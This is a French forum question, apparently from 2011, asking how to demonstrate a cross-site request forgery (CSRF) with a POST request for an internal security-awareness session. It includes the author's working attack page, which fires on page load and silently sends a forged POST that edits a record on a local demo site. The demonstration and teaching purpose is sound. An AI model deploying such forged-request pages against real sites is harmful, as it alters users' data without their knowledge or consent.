Comment démontrer une attaque CSRF

Je suis en train de faire une introduction à la sécurité web à d'autres personnes dans notre entreprise, et je veux montrer quelques exemples pour avoir plus d'impact.

Pour cela, j'ai créé un petit site web qui est vulnérable à cette attaque, ce site sera accessible uniquement sur notre réseau.

Je vais maintenant essayer d'exploiter cette attaque, mais j'ai une question:

Comment faire cela avec un formulaire POST?

Je n'ai pas de problème de le faire avec une requête GET, mais avec un POST, je vais essayer de faire ça avec du javascript, pas de problème si je héberger mon code sur le même hôte, mais si je veux héberger mon code à un autre hôte pour être plus réaliste, j'ai bloqué parce que c'est un cross-domain demande.

Alors, comment dois-je envoyer ces POST vars?

Merci!

Voici mon code actuel:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>CSRF attack demo</title>
<script type="text/javascript">
function getHTTPObject() {
        var http = false;
        //Use IE's ActiveX items to load the file.
        if(typeof ActiveXObject != 'undefined') {
            try {http = new ActiveXObject("Msxml2.XMLHTTP");}
            catch (e) {
                try {http = new ActiveXObject("Microsoft.XMLHTTP");}
                catch (E) {http = false;}
            }
        //If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document.
        } else if (window.XMLHttpRequest) {
            try {http = new XMLHttpRequest();}
            catch (e) {http = false;}
        }
        return http;
    }
function post_to_url(path, params, method) {
    method = method || "post"; //Set method to post by default, if not specified.

    //The rest of this code assumes you are not using a library.
    //It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

    for(var key in params) {
        var hiddenField = document.createElement("input");
        hiddenField.setAttribute("type", "hidden");
        hiddenField.setAttribute("name", key);
        hiddenField.setAttribute("value", params[key]);

        form.appendChild(hiddenField);
    }

    document.body.appendChild(form);
    form.submit();
}

function postToUrlBackground(path, params){
    var http = getHTTPObject();

    http.open("POST", path, true);

    //Send the proper header information along with the request
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    http.setRequestHeader("Content-length", params.length);
    http.setRequestHeader("Connection", "close");

    http.onreadystatechange = function() {//Call a function when the state changes.
        if(http.readyState == 4 && http.status == 200) {
            //alert("Response received");
        }
    }
    http.send(params);
}
function TryAttack(){
    //alert("Sending");
    postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE");
    //postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE"    );
    //alert("sent");
}
</script>
</head>
<body onload="TryAttack()">
<img src=image.png />
</body>
</html>

source d'informationauteur J4N | 2011-07-25